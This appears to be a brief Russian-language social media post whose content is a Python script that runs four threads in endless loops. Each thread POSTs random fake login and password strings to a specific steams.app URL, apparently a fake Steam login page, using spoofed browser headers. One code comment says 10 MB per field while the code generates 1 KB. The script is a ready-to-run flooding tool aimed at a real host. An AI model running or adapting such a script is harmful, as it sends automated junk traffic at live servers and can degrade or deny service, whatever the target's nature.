11 подписчиков
import threading
import requests
import random
import string
from contextlib import contextmanager
import time
# Функция для генерации случайных строк заданного размера
def generate_large_data(size_in_kb):
size_in_bytes = size_in_kb * 1024
return ''.join(
random.choices(string.ascii_letters + string.digits, k=size_in_bytes))
# Контекстный менеджер для работы с потоком
@contextmanager
def thread_context(process_id):
try:
print(f"Запуск процесса {process_id}")
yield
finally:
print(f"Процесс {process_id} завершён")
# Функция для отправки данных без остановки
def send_data(process_id):
url = "https://steams.app/53d13a9f2e702ef66"
headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9,ru;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'origin': 'https://steams.app',
'priority': 'u=1, i',
'referer': 'https://steams.app/53d13a9f2e702ef66',
'sec-ch-ua': '"Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"macOS"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36',
'x-requested-with': 'XMLHttpRequest'
}
with thread_context(process_id):
while True:
# Генерация фейковых данных по 10 МБ для каждого поля
data = {
'doAuth': 1,
'login': generate_large_data(1),
'password': generate_large_data(1)
}
print(f"Процесс {process_id} отправляет данные...")
try:
response = requests.post(url, files=data, headers=headers)
if response.status_code == 200:
print(f"Процесс {process_id}: данные успешно отправлены!")
else:
print(
f"Процесс {process_id}: ошибка при отправке данных, статус: {response.status_code}")
except Exception as e:
print(f"Процесс {process_id}: ошибка отправки данных: {e}")
# Добавляем небольшую задержку, чтобы не перегружать сервер
time.sleep(2)
# Главная функция для запуска потоков
def main():
num_threads = 4
threads = []
for i in range(num_threads):
thread = threading.Thread(target=send_data, args=(i,))
threads.append(thread)
thread.start()
# Ждем завершения всех потоков (хотя они будут бесконечными)
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
1 минута
9 сентября 2024